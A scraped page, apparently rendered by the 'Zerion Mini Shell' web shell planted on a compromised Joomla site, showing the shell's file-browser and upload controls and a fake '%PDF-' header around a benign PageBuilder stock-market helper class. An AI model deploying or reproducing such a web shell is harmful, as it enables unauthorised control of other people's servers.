%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home1/lightco1/luminero.com.au/plugins/jsnpagebuilder/defaultelements/market/helpers/
Upload File :
Create Path :
Current File : //home1/lightco1/luminero.com.au/plugins/jsnpagebuilder/defaultelements/market/helpers/helper.php

<?php
/**
 * @version    $Id$
 * @package    JSN_PageBuilder
 * @author     JoomlaShine Team <support@joomlashine.com>
 * @copyright  Copyright (C) 2012 JoomlaShine.com. All Rights Reserved.
 * @license    GNU/GPL v2 or later http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Websites: http://www.joomlashine.com
 * Technical Support:  Feedback - http://www.joomlashine.com/contact-us/get-support.html
 */

// No direct access to this file.
defined('_JEXEC') || die('Restricted access');

/**
 * Helper class for market element
 *
 * @package  JSN_PageBuilder
 * @since    1.0.0
 */
class JSNPbMarketHelper
{
    const PB_MARKET_DATA_TYPE_NAME = 'name';
    const PB_MARKET_DATA_TYPE_SYMBOL = 'symbol';
    const PB_MARKET_DATA_TYPE_PRICE = 'LastTradePriceOnly';
    const PB_MARKET_DATA_TYPE_CHANGE = 'Change';
    const PB_MARKET_DATA_TYPE_PERCENT_CHANGE = 'ChangeinPercent';
    const PB_MARKET_DATA_TYPE_VOLUME = 'Volume';
    const PB_MARKET_DATA_TYPE_CHART = 'chart';

    const PB_MARKET_SLIDE_DIMENSION_HORIZONTAL = "horizontal";
    const PB_MARKET_SLIDE_DIMENSION_VERTICAL = "vertical";

    public static function getMarketSlideDimensions() {
        return array(
            self::PB_MARKET_SLIDE_DIMENSION_VERTICAL => JText::_('JSN_PAGEBUILDER_ELEMENT_MARKET_HELPER_VERTICAL'),
            self::PB_MARKET_SLIDE_DIMENSION_HORIZONTAL => JText::_('JSN_PAGEBUILDER_ELEMENT_MARKET_HELPER_HORIZONTAL'),
        );
    }

    public static function getMarketDataType() {
        return array(
            self::PB_MARKET_DATA_TYPE_NAME           => JText::_('JSN_PAGEBUILDER_ELEMENT_MARKET_HELPER_NAME'),
            self::PB_MARKET_DATA_TYPE_SYMBOL         => JText::_('JSN_PAGEBUILDER_ELEMENT_MARKET_HELPER_SYMBOL'),
            self::PB_MARKET_DATA_TYPE_PRICE          => JText::_('JSN_PAGEBUILDER_ELEMENT_MARKET_HELPER_PRICE'),
            self::PB_MARKET_DATA_TYPE_CHANGE         => JText::_('JSN_PAGEBUILDER_ELEMENT_MARKET_HELPER_CHANGE'),
            self::PB_MARKET_DATA_TYPE_PERCENT_CHANGE => JText::_('JSN_PAGEBUILDER_ELEMENT_MARKET_HELPER_PERCEN_CHANGE'),
            self::PB_MARKET_DATA_TYPE_VOLUME         => JText::_('JSN_PAGEBUILDER_ELEMENT_MARKET_HELPER_VOLUME'),
//            self::PB_MARKET_DATA_TYPE_CHART          => JText::_('Chart'),
        );
    }

    public static function getMarketDefaultDataType() {
        return implode("__#__", array(
            self::PB_MARKET_DATA_TYPE_SYMBOL,
            self::PB_MARKET_DATA_TYPE_PRICE,
            self::PB_MARKET_DATA_TYPE_CHANGE,
            self::PB_MARKET_DATA_TYPE_PERCENT_CHANGE,
        ));
    }
}

Zerion Mini Shell 1.0